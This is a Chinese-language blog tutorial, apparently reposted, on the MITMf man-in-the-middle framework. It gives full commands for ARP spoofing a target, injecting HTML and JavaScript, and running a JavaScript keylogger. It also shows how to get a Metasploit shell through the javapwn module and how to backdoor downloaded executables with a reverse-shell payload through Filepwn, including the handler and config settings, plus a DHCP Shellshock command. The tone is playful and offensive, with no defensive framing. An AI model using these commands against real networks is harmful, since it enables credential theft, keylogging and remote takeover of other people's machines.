您的位置:首页 > 其它

内网劫持渗透利器——MITMf指南

2014-10-03 15:48 267 查看
0x01 题记

又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,再看看我。。。



哎,不禁潸然泪下。

子曰:“长得丑就要多读书!”

于是有了这篇文章。。。

0x02 工具介绍

这篇文章的主要目的是介绍一下一个最新的中间人攻击框架,MITMf,工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来。这里是工具的地址:

https://github.com/byt3bl33d3r/MITMf 

关于工具的一些简介也在git的READEME中说到了,这里给出传送门:http://sign0f4.blogspot.it/ 有兴趣的同学可以自己去看一下。因为工具可以算是新出的,我没找到中文指南,所以这里也就自己边玩边写一下自己的感受,权当抛砖引玉。

刚一看到这个工具的时候,第一感觉不过是一个中间人攻击的集合品,本来也没多大兴趣。本来嘛,这个概念也已经被谈烂了。但是当我真的搭好环境开始玩的时候才发现其实这个框架还是有点意思的,可扩展性非常高。除了“劫持”的概念外,一些插件也起到了“渗透”的作用。

0x03 工具配置

MITMf不支持多系统平台,虽然是python写的,但是玩过以后才发现根本就是给linux量身做的,所以这里想玩的同学如果是win环境的话,可以考虑用虚拟机了,当然最好的选择是Kali,因为作者就是在Kali下开发测试的。

首先git下整个框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

然后我们进行简单的安装

cd /opt/mitmf
./install-bdfactory.sh

完成之后,进行下一步的安装操作

cd bdfactory/
./install.sh


然后,运行的时候我们会发现仍然没办法启动MITMf,会提示一些模块缺失,我们按照指示说的依次用pip安装一下就可以。

这里需要注意一点,因为部分模块的源是在google上面的,pip会安装不上(如pefile),这时候可以自己去https://pypi.python.org/pypi 下载一下然后手动安装,另外,需要自行手动安装python-nfqueue模块

0x04 基本功能——cookies盗取,dns劫持,js注入。。。


这时候我们应该能够成功启动mitmf了。输入./mitmf.py -h 得到以下帮助界面:



工具有几项基本功能:

sslstrip模块

这个我不多说大家也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块

主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文
4000
件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块

清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块

十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块

该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块

这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块

可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件

枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块

可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块

一个键盘记录js,后文会有介绍

App Cache Poison

app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的攻击。是Krzysztof Kotowicz的补充模块。

Upsidedownternet

恶搞模块,让浏览者的世界翻转。

以上是工具的简单介绍,其中不少是很多功能大家都已经玩过了,所以我就单挑几个给大家展示一下。
Inject模块的注入功能

我们首先注入一个html:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com[/code] 
效果图





然后我们再注入一个js看看:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js[/code] 
效果图





然后是工具自带的keylogger的js,我们看一下效果怎么样:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger
效果图





经测试,密码截获DNS劫持什么的都不是问题,这里鉴于篇幅就不再展示了。

0×05 进阶玩法
以上是我们进行的一些基本的玩法,目的只是让大家看一下。功能比较基础大家用的也比较多,接下来的部分,主要给大家展示一下该框架是如何结合强大的metasploit进行“渗透”的。

(一)利用java漏洞进行攻击

首先,我们使用的是javapwn模块。这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url(类似:http://192.168.111.111/UIhsdaVx),使得攻击更为自然。

将metasploit打开,然后载入msgrpc模块

#msfconsole
msf > load msgrpc Pass=abc123
其他部分保持默认就好了。然后是MITMf端,输入以下命令:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137
然后我们就只需要等待就可以了,喝杯咖啡等一下。。这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。

如果顺利,我们的jar就被执行了。



这是开始运行等待的时候





成功得到shell

这两张是成功得到shell的界面。因为我的靶机中的java是最新的,msf中的payload无法溢出,只是在靶机中生成了无数的连接。所以这里的图是盗的。

(二)为PE文件注入后门实现渗透

使用Filepwn模块,与msf结合同样可以获得shell。简单说一下Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各种可执行文件。

同样我们打开metasploit,使用handler,开始监听:

msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run




在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.217.137
PORT = 1447
SHELL = reverse_shell_tcp
SUPPLIED_SHELLCODE = None
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………
接下来是MITMf

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --filepwn
然后就是等待靶机下载文件然后执行就可以了。

最后我们的靶机执行了文件,然后msf获得到了shell。下面是最终结果:



点此看大图
(三)娱乐一下

最后再看一下“破壳”是如何在DHCP中起作用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock




这里的命令可以用cmd参数自行指定。

关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

0×06 总结
这个工具其实说白了就是一个中间人攻击的大集合,集各种功能于一身,同时扩展了BeEF框架和Metasploit的接口,使攻击姿势更加丰富。而且,也十分与时俱进的扩展了网页应用的毒化功能,同时给我们带来了更多的想法:中间人攻击,真的只是劫持截包这么简单么?内网渗透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的!:)

文章到这里暂时告一段落,简要介绍了几个MITMf的基础功能,更多扩展工具阅读

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

如果有更好玩的东西,我会继续与大家分享。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息